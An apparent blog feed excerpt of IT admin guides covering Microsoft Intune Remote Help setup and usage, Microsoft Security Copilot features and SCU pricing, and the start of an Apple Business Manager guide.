<li>Sign in to the Microsoft Intune admin center and navigate to Tenant administration &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/RolesLandingMenuBlade/~/roles" target="_blank" rel="noreferrer">Roles</a> and select a role.</li>
<li>Now open <strong>Assignments</strong>, then click <code>Assign</code> to create a new role assignment.</li>
<li>On the <strong>Basics</strong> page, enter a name and description and click <code>Next</code>.</li>
<li>On the <strong>Admin Groups</strong> page, select your helper group and click <code>Next</code>.</li>
<li>Now enter a Scope tag if you want and then create the Assignment.</li>
</ol>
<h3 id="app-deployment" tabindex="-1">App deployment <a class="header-anchor" href="#app-deployment" aria-label="Permalink to &quot;App deployment&quot;">&ZeroWidthSpace;</a></h3>
<p>You can either deploy the App through Intune or install it directly on the target machines.</p>
<p>To install it manuall you can <a href="https://aka.ms/downloadremotehelp" target="_blank" rel="noreferrer">download the latest version of Remote Help directly from Microsoft</a> or your can install it with Winget.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Winget install Microsoft.RemoteHelp</span></span></code></pre>
</div><p>To deploy the app through Intune, you have two main options:</p>
<ul>
<li><strong>Download and package:</strong> <a href="https://aka.ms/downloadremotehelp" target="_blank" rel="noreferrer">Download the installer</a>, package it as an INTUNEWIN file, and deploy it as a Win32 app via Intune.</li>
<li><strong>Universal App deployment (no packaging):</strong> Use my <a href="https://michaelsendpoint.com/intune/install_winget_apps.html" target="_blank" rel="noreferrer">Universal App deployment method</a> to install the app directly with Winget, without the need for packaging.</li>
</ul>
<p>If you choose the INTUNEWIN method, use the following information for deployment:</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Install command</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">remotehelpinstaller.exe</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> /</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">quiet acceptTerms</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> enableAutoUpdates</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span></span></code></pre>
</div><div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Uninstall command</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">remotehelpinstaller.exe</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> /</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">uninstall </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">quiet acceptTerms</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span></span></code></pre>
</div><div class="info custom-block"><p class="custom-block-title">detection Rule</p>
<ul>
<li>For Rule type, select File</li>
<li>For Path, specify C:\Program Files\Remote Help</li>
<li>For File or folder, specify RemoteHelp.exe</li>
<li>For Detection method, select String (version)</li>
<li>For Operator, select Greater than or equal to</li>
<li>For Value, enter the Remote Help version to deploy (e.g., 10.0.22467.1000).</li>
<li>Leave Associated with a 32-bit app on 64-bit clients set to No</li>
</ul>
</div>
<p><u>WebApp</u></p>
<table>
<thead>
<tr>
<th>Sharer: <a href="https://aka.ms/rh" target="_blank" rel="noreferrer">https://aka.ms/rh</a></th>
<th>Remote Helper: <a href="https://aka.ms/rhh" target="_blank" rel="noreferrer">https://aka.ms/rhh</a></th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\suite\remote-help_rh.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
<td><img src="\intune\suite\remote-help_rhh.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
</tr>
</tbody>
</table>
<p><u>Macos</u></p>
<p>If you have a MacOS Client you can <a href="https://aka.ms/downloadremotehelp" target="_blank" rel="noreferrer">download the latest version of Remote Help directly from Microsoft</a>.</p>
<p><u>iOS</u></p>
<p>To use Remote Help on iOS, install the <span style="color:crimson">Intune App</span> or access the <span style="color:crimson">Web App</span> using a supported browser.</p>
<p><u>Android</u></p>
<p>To use Remote Help on Android Enterprise devices, install the <span style="color:crimson">Intune App</span> or access the <span style="color:crimson">Web App</span> using a supported browser.</p>
<p>Additionally, ensure that <strong>screen capture is allowed</strong> in your Android device policies.</p>
<p><strong>For Zebra devices:</strong> Configure Zebra OEMConfig as described in the <a href="https://learn.microsoft.com/en-us/mem/intune/apps/oemconfig" target="_blank" rel="noreferrer">Microsoft documentation</a>.</p>
<h3 id="conditional-access" tabindex="-1">Conditional Access <a class="header-anchor" href="#conditional-access" aria-label="Permalink to &quot;Conditional Access&quot;">&ZeroWidthSpace;</a></h3>
<p>To control Remote Help with conditional access you need to create a <span style="color:crimson">Service Principal</span> using the Remote Assistance Service AppId.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-MgServicePrincipal</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AppId </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"1dee7b72-b80d-4e56-933d-8b6b04f9a3e2"</span></span></code></pre>
</div><table>
<thead>
<tr>
<th><img src="\intune\suite\remote-help_serviceprincipal.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/></th>
<th><img src="\intune\suite\remote-help_ca.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<h2 id="usage" tabindex="-1">⌨️ Usage <a class="header-anchor" href="#usage" aria-label="Permalink to &quot;:keyboard: Usage&quot;">&ZeroWidthSpace;</a></h2>
<p>To start a remote session you can <span style="color:crimson">either</span> start the app yourself and <span style="color:crimson">exchange a security code with the enduser</span> or you can <span style="color:crimson">start a session directly trough Intune</span>.
Then the security code is already taken care of by Intune.</p>
<p>If you want to start a remote session right from Intune, just open the <strong>Intune Admin portal</strong>, head to <strong>Devices</strong>, pick the device you want to help, and hit <code>New remote assistance session</code>.</p>
<img src="\intune\suite\remote-help_new_session.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="250" loading="lazy"/>
<p>A flyout will appear, and a notification is sent to the end user. When the user clicks the toast notification, Remote Help launches automatically and waits for you to initiate the session, no code exchange required.
If the end user has already started Remote Help, the flyout updates to show a green checkmark next to <code>Launch Remote Help</code>. You can then proceed directly to step 4.</p>
<table>
<thead>
<tr>
<th><img src="\intune\suite\remote-help_new_sessionFlyout.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\suite\remote-help_toast.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/></th>
</tr>
</thead>
</table>
<p><strong>To start a remote session without Intune, use the following instructions.</strong></p>
<ol>
<li>The user first need to sign in to the <span style="color:crimson">Remote Help Client</span> or has SSO active.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\suite\remote-help_signin.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\suite\remote-help_privacy.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="2">
<li>Next the <span style="color:crimson">helper</span> clicks the <code>Get security code</code> button and then has 10 Minutes time to give this code to a <span style="color:crimson">sharer (Enuser that needs help)</span>.</li>
<li>The sharer takes the security code from the helper and puts it into the appropriate box in the Remote Help Client.</li>
</ol>
<table>
<thead>
<tr>
<th>Helper view</th>
<th>Sharer view</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\suite\remote-help_helper.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
<td><img src="\intune\suite\remote-help_sharer.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
</tr>
</tbody>
</table>
<ol start="4">
<li>Now the sharer sees a waiting screen while the Helper is choosing if he wants to <span style="color:crimson">Take full control</span> or <span style="color:crimson">View screen</span>.</li>
</ol>
<div class="tip custom-block github-alert"><p class="custom-block-title">Security Check</p>
<p>Before the helper can take control or view the screen, both parties will see each other's organizational details (name, company, domain, etc.) to confirm identities and prevent impersonation. This step ensures that only authorized helpers from your organization can provide assistance.</p>
</div>
<table>
<thead>
<tr>
<th>Helper view</th>
<th>Sharer view</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\suite\remote-help_helper_allow.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
<td><img src="\intune\suite\remote-help_waiting.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/></td>
</tr>
</tbody>
</table>
<ol start="5">
<li>Once the helper has selected their desired action, the sharer receives a pop-up window displaying the helper’s account details and the requested action (view screen or take control). The sharer can then choose to <span style="color:crimson">allow</span> or <span style="color:crimson">decline</span> the connection.</li>
</ol>
<img src="\intune\suite\remote-help_sharer_allow.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<div class="tip custom-block"><p class="custom-block-title">Information</p>
<p>If you do not have the required RBAC permissions in Intune to act as a helper, a notification window will appear informing you that you lack the necessary permissions to provide remote assistance.</p>
<img src="\intune\suite\remote-help_nopermission.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
</div>
<ol start="6">
<li>The sharer now just sees a simple bar at the top where he can stop the session with <code>X</code> or start a Chat <code>💬</code>.</li>
</ol>
<img src="\intune\suite\remote-help_sharingon.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="7">
<li>The helper has a view tools in his bar to direct the session.
<ul>
<li><code>Request Control</code></li>
<li>Admin Session <code>🖥️</code></li>
<li>Laser pointer <code>📍</code></li>
<li>On-Screen Pen <code>🖊️</code></li>
<li>Fullscreen <code>🪟</code></li>
<li>Chat <code>💬</code></li>
<li>Restart machine <code>↩️</code> (only in admin mode)</li>
<li>Task manager <code>📟</code> (only in admin mode)</li>
<li><code>Leave</code></li>
</ul>
</li>
</ol>
<img src="\intune\suite\remote-help_bar.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="8">
<li>If the helper requests control, the sharer gets the request in his Remote Help bar, where he can <code>Allow</code> or <code>Deny</code>.</li>
</ol>
<img src="\intune\suite\remote-help_request.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="9">
<li>If you need to start an <span style="color:crimson">elevated window</span> during a Remote Help session, the <span style="color:crimson">UAC prompt</span> will appear on the secure desktop by default.
This means your session view <span style="color:crimson">will go black</span> and display a ⏸️ symbol, as you cannot see the secure desktop until an Admin Session is enabled.</li>
</ol>
<table>
<thead>
<tr>
<th>Helper view</th>
<th>Sharer view</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\suite\remote-help_no_uac_helper.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
<td><img src="\intune\suite\remote-help_uac_sharer.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
</tr>
</tbody>
</table>
<ol start="10">
<li>If the helper to enter credentials or have access to the UAC prompt, you can activate an <span style="color:crimson">Admin Session</span>.</li>
</ol>
<img src="\intune\suite\remote-help_admin.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<ol start="11">
<li>Once the Admin Session is enabled, if a UAC prompt appears, the helper will be able to view and interact with the elevated windows directly.</li>
</ol>
<table>
<thead>
<tr>
<th>Helper view</th>
<th>Sharer view</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\suite\remote-help_uac_helper.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
<td><img src="\intune\suite\remote-help_uac_sharer.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
</tr>
</tbody>
</table>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p></p>
<p>
While the <span style="color:crimson">Admin Session</span> is enabled you will <span style="color:crimson">see a warning message</span> reminding you of closing all elevated windows before leaving the session.
<img src="\intune\suite\remote-help_close_session.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
</p> 
<p>
If the session is closed by the sharer while an admin session is still active, the user will be signed out immediately. This ensures that all elevated windows are closed, protecting admin credentials.
<img src="\intune\suite\remote-help_admin_session.gif" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
</p>
</div>
<ol start="12">
<li>When the session gets ended by either side, all parties will see a coresponding message.</li>
</ol>
<table>
<thead>
<tr>
<th>Helper view</th>
<th>Sharer view</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\suite\remote-help_ended_helper.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
<td><img src="\intune\suite\remote-help_ended_sharer.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
</tr>
</tbody>
</table>
<h2 id="monitoring" tabindex="-1">🔍 Monitoring <a class="header-anchor" href="#monitoring" aria-label="Permalink to &quot;:mag: Monitoring&quot;">&ZeroWidthSpace;</a></h2>
<p>You can keep an eye on how Remote Help is being used right from the Intune admin center.</p>
<ol>
<li>Sign in to the Microsoft Intune admin center and go to Tenant admin &rarr; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminMenu/~/remote" target="_blank" rel="noreferrer">Remote Help</a>.</li>
<li>On the Monitor tab, you’ll see active sessions and some history about past sessions.</li>
</ol>
<img src="\intune\suite\remote-help_monitor.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="3">
<li>On the Remote Help sessions tab, you’ll find details about past sessions.</li>
</ol>
<img src="\intune\suite\remote-help_sessions.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<div class="note custom-block github-alert"><p class="custom-block-title">Information</p>
<p></p>
<ul>
<li>For Android Enterprise Dedicated devices, you’ll see “--” for Recipient ID and Recipient name since these devices don’t have user affinity.</li>
<li>Reporting is more limited for unenrolled devices.</li>
</ul>
</div>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Remote Help makes it easy for IT teams to support users securely and efficiently, right from Microsoft Intune. 🚀
With Entra ID sign-in, RBAC, and session auditing, you can be confident that support sessions stay safe and compliant.
Whether you’re helping users on Windows, Mac, Android or even unenrolled devices, Remote Help has you covered. 💻 📱</p>
<p>🔧 ✅ Microsoft continues to improve Remote Help, so you’ll see even more capabilities over time. Recent updates have included support for additional platforms, enhanced security features, and improved integration with Intune and Microsoft Entra ID. Stay tuned for new features such as expanded unattended access, deeper reporting, and broader device compatibility as Microsoft responds to customer feedback and evolving IT needs.</p>
<p>If your organisation uses Microsoft tools, Remote Help could be a practical choice for modern endpoint support. 🤝
It's still not quite on par with other remote control solutions, but it makes great strides and its integration into the Microsoft environment gives it a huge advantage.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Microsoft Security Copilot | Security]]></title>
            <link>https://michaelsendpoint.com/security/security_copilot.html</link>
            <guid>https://michaelsendpoint.com/security/security_copilot.html</guid>
            <pubDate>Sat, 06 Dec 2025 19:10:13 GMT</pubDate>
            <description><![CDATA[Overview of Microsoft Security Copilots capabilities, provisioning, cost (SCUs), agents/assistants and how it integrates with Microsoft security stack.]]></description>
            <content:encoded><![CDATA[<img src="\security\SecurityCopilot\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>&nbsp;</p>
<h1 id="microsoft-security-copilot" tabindex="-1">Microsoft Security Copilot <a class="header-anchor" href="#microsoft-security-copilot" aria-label="Permalink to &quot;Microsoft Security Copilot&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Security Copilot is a smart AI assistant for your IT team.
It stands out as the only tool that combines an AI built specifically for security with Microsoft’s powerful tech.
This unique mix allows it to spot hidden threats faster using massive amounts of data and tells you how to fix them.
It connects seamlessly with the other M365 tools, like:</p>
<ul>
<li>Microsoft Defender XDR</li>
<li>Microsoft Sentinel</li>
<li>Microsoft Intune</li>
<li>Microsoft Entra</li>
<li>Microsoft Purview</li>
<li>Microsoft Defender for Cloud</li>
<li>External Attack Surface Management</li>
<li>Azure security tools (eg. Azure Firewall)</li>
</ul>
<p>Security Copilot supports Microsoft-built agents, partner agents and custom agents that you can create yourself.</p>
<h2 id="what-can-the-security-copilot-do" tabindex="-1">👷‍♂️ What can the Security Copilot do? <a class="header-anchor" href="#what-can-the-security-copilot-do" aria-label="Permalink to &quot;:construction_worker_man: What can the Security Copilot do?&quot;">&ZeroWidthSpace;</a></h2>
<p>Firstly, Security Copilot provides a large number of agents that offer specific assistance with particular tasks in Entra, Intune, Defender, Purview and Sentinel.
These range from analysing conditional access policies to triaging incidents.
Secondly, it enables you to query your security data using natural language, write KQL queries and more.
And thirdly, you can integrate third-party plugins to extend the available data even further.</p>
<p>Possible use cases:</p>
<ul>
<li>Investigation and response: Summarize alerts and get guided steps to resolve issues</li>
<li>KQL queries: Writes advanced hunting or device query scripts for you</li>
<li>Security posture: Helps assess and improve your security posture</li>
<li>Policy management: Reviews and suggests improvements to security policies</li>
<li>Endpoint privelege management: Helps you understand if files that get requested for elevation are malicious or not</li>
<li>Reports: Produces targeted reports with risks and recommended actions.</li>
</ul>
<img src="\security\SecurityCopilot\security-copilot-diagram.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h2 id="what-are-agents" tabindex="-1">🤖 What are Agents? <a class="header-anchor" href="#what-are-agents" aria-label="Permalink to &quot;:robot: What are Agents?&quot;">&ZeroWidthSpace;</a></h2>
<p>To the point, an AI agent is a specialized algorithm built on top of an LLM (Large Language Model) that can perform a specific task autonomously or with a trigger.
Usually agents are capable of using the environment around them as context to make decisions and take actions.
Security Agents in particular do the excact same, just specialized on security tasks.</p>
<img src="\security\SecurityCopilot\builtinagents.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h2 id="what-are-assistants" tabindex="-1">🫴 What are assistants? <a class="header-anchor" href="#what-are-assistants" aria-label="Permalink to &quot;:palm_up_hand: What are assistants?&quot;">&ZeroWidthSpace;</a></h2>
<p>An AI assistant is basically the same as an agent, with the one difference, that it requires human approval before taking any actions.</p>
<p>Specifically for Intune, Microsoft announced using mainly assistants instead of agents, because most Admins are not cool with an AI potentially changing settings in there whole environment without explicit approval.
There is even a unified task screen in Intune since November 2025. This is specifically to help with any approvals that might come up. This is partly because of Assistants, but not exclusively.
(You can learn more about Intune assistants <a href="https://learn.microsoft.com/en-us/intune/intune-service/copilot/copilot-intune-overview" target="_blank" rel="noreferrer">here</a>)</p>
<h2 id="what-does-it-cost" tabindex="-1">💰 What does it cost? <a class="header-anchor" href="#what-does-it-cost" aria-label="Permalink to &quot;:moneybag: What does it cost?&quot;">&ZeroWidthSpace;</a></h2>
<p>The cost of Security Copilot depends on the number of Security Compute Units (SCUs) you set up to run your workloads.
You can use provisioned SCUs, which are charged by the hour or overage SCUs, which are charged consumption based.
You basically pay for the amount you used each month, and if you use more, you pay extra units on top.
But you need to provition 1 SCU minimum per month.</p>
<p>1 provisioned SCU costs 4$ per hour. 1 overage SCU costs 6$ per hour. (Dezember 2025)</p>
<div class="info custom-block"><p class="custom-block-title">EXAMPLE</p>
<p>You have 4 provisioned SCUs with an overage limit of 6 SCUs.<br></p>
<p>You run a prompt consuming 3 SCUs and use incident summarization in Defender, which consumes 0,5 SCU.
You now used 3,5 total SCUs, so you’ll be charged 4 SCUs at 4$ per provisioned SCU, totaling $16 for that hour. (Provitioned SCUs are rounded up per clock hour, because the billing is always in hourly blocks. eg. from 3 pm to 4 pm)​</p>
<p>You then run a promptbook that consumes another 3,2 SCUs during the same hour, for a total of 7,2 SCUs.
That means you`ll now be charged for the provisioned 4 SCUs at 4$ and the 3,2 overage SCUs at 6$, making it 35,20$.​</p>
</div>
<p>You can calculate the estimated costs for your needs using the <a href="https://securitycopilot.microsoft.com/calculator" target="_blank" rel="noreferrer">SCU Calculator</a> from Microsoft.
If you want to learn more about which action consumes how many SCUs in your environment or overall, check out the <a href="https://learn.microsoft.com/en-us/copilot/security/manage-usage" target="_blank" rel="noreferrer">Manage security compute unit usage in Security Copilot</a> documentation.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Microsoft announced at Ignite 2025 that SCUs will be included for free in every Microsoft 365 E5 license.
Microsoft 365 E5 customers get 400 SCUs every month for every 1,000 user licences they have, up to a maximum of 10,000 SCUs every month.</p>
</div>
<h2 id="what-is-an-scu" tabindex="-1">🖥️ What is an SCU? <a class="header-anchor" href="#what-is-an-scu" aria-label="Permalink to &quot;:desktop_computer: What is an SCU?&quot;">&ZeroWidthSpace;</a></h2>
<p>An SCU (Security Compute Unit) is the amount of computing power you need to run Microsoft Security Copilot.
You practically buy <span style="color:crimson">compute capacity</span> for your prompts and tasks. The same principle as a prepaid mobile phone plan.</p>
<h2 id="how-to-provision-security-copilot" tabindex="-1">💿 How to provision Security Copilot <a class="header-anchor" href="#how-to-provision-security-copilot" aria-label="Permalink to &quot;:cd: How to provision Security Copilot&quot;">&ZeroWidthSpace;</a></h2>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you got Microsoft 365 E5 licenses and SCUs are included, then you can skip this whole thing completely and directly start using Security Copilot.</p>
</div>
<p><u>Prerequisites</u></p>
<ul>
<li>An active Subscription</li>
<li>One of the following roles
<ul>
<li>Global Administrator</li>
<li>Billing Administrator</li>
<li>Entra Compliance Administrator</li>
<li>Intune Administrator</li>
<li>Security Administrator</li>
<li>Purview Compliance Administrator</li>
<li>Purview Data Governance Administrator</li>
<li>Purview Organization Management</li>
</ul>
</li>
<li>Contributor or Owner of the Subscriptions</li>
</ul>
<p><u>Provisioning</u></p>
<ol>
<li>Sign in to the <a href="https://securitycopilot.microsoft.com/" target="_blank" rel="noreferrer">Microsoft Security Copilot Admin Center</a> and start the first run experience.
Here you will need to select a subscription, a resource group, a name and locations. Underneath that you can select the number of SCUs you want to provision or overage, accept terms and conditions and click <code>Continue</code>.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\security\SecurityCopilot\provision1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\security\SecurityCopilot\provision2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="2">
<li>Next screen you can opt-in to help Microsoft improve Security Copilot or not and in the screen after that you get the info that Security Copilot is obviously accessing your data.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\security\SecurityCopilot\provision3.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\security\SecurityCopilot\provision4.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="3">
<li>Second to last configuration screen, you need to allow purview to basically be able to keep an eye on the data that Security Copilot is using. Lastly you get a screen with the default owner roles and the possebility to change them.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\security\SecurityCopilot\provision5.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\security\SecurityCopilot\provision6.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="4">
<li>With that done, the Copilot provisioning run a few seconds and you get a success confirmation.</li>
</ol>
<img src="\security\SecurityCopilot\provision7.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Security Copilot a great way to making your life as an admin easier.
Not only as a security analyst, helping with triaging and investigating incidents, but also as an Intune or Entra admin, helping you write policies or queries.
Now that SCUs are included in the E5 license, many companies get free access to it and can try for themselfs.
The amount of agents for it and plugins will only grow steeply in the future and in my opinion is help in getting better information quicker especially important now that bad actors also use AI in there attacks.</p>
<p>AI is just another tool in your toolbelt of making your admin life easier and keeping your environment secure.</p>
<p>Microsoft provides the great <a href="https://adoption.microsoft.com/en-gb/security-copilot/" target="_blank" rel="noreferrer">Security Copilot Adoption Hub</a> if you want to read more.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apple Business Manager | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/ABM.html</link>
            <guid>https://michaelsendpoint.com/intune/ABM.html</guid>
            <pubDate>Tue, 25 Nov 2025 21:35:53 GMT</pubDate>
            <description><![CDATA[Practical guide to Apple Business Manager (ABM) and its integration with Microsoft Intune — covers enrollment, VPP, managed Apple IDs, federation and the new MDM migration workflow.]]></description>
            <content:encoded><![CDATA[<img src="\intune\apple\banner.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>&nbsp;</p>
<h1 id="apple-business-manager" tabindex="-1">Apple Business Manager <a class="header-anchor" href="#apple-business-manager" aria-label="Permalink to &quot;Apple Business Manager&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Apple Business Manager (<span style="color:crimson">ABM</span>) is a web portal that helps organizations easily deploy and manage Apple devices, apps and accounts.
It <span style="color:crimson">unifies device enrollment, app purchasing and managed account provisioning</span> into a single, streamlined portal.
You can also connect Apple Business Manager to your existing MDM to centralize management across your organization.</p>
<p><u>Key features</u></p>
<ul>
<li>Automated Device Enrollment directly from the carrier or reseller</li>
<li>Central app and book purchasing</li>
<li>Federated managed Apple Accounts</li>
<li>Integration with MDM solutions</li>
</ul>
<h2 id="create-apple-business-account" tabindex="-1">👨‍💼 Create Apple Business Account <a class="header-anchor" href="#create-apple-business-account" aria-label="Permalink to &quot;:man_office_worker: Create Apple Business Account&quot;">&ZeroWidthSpace;</a></h2>
<p>Admins can sign up for Apple Business Manager and start using basic features in minutes without cost.
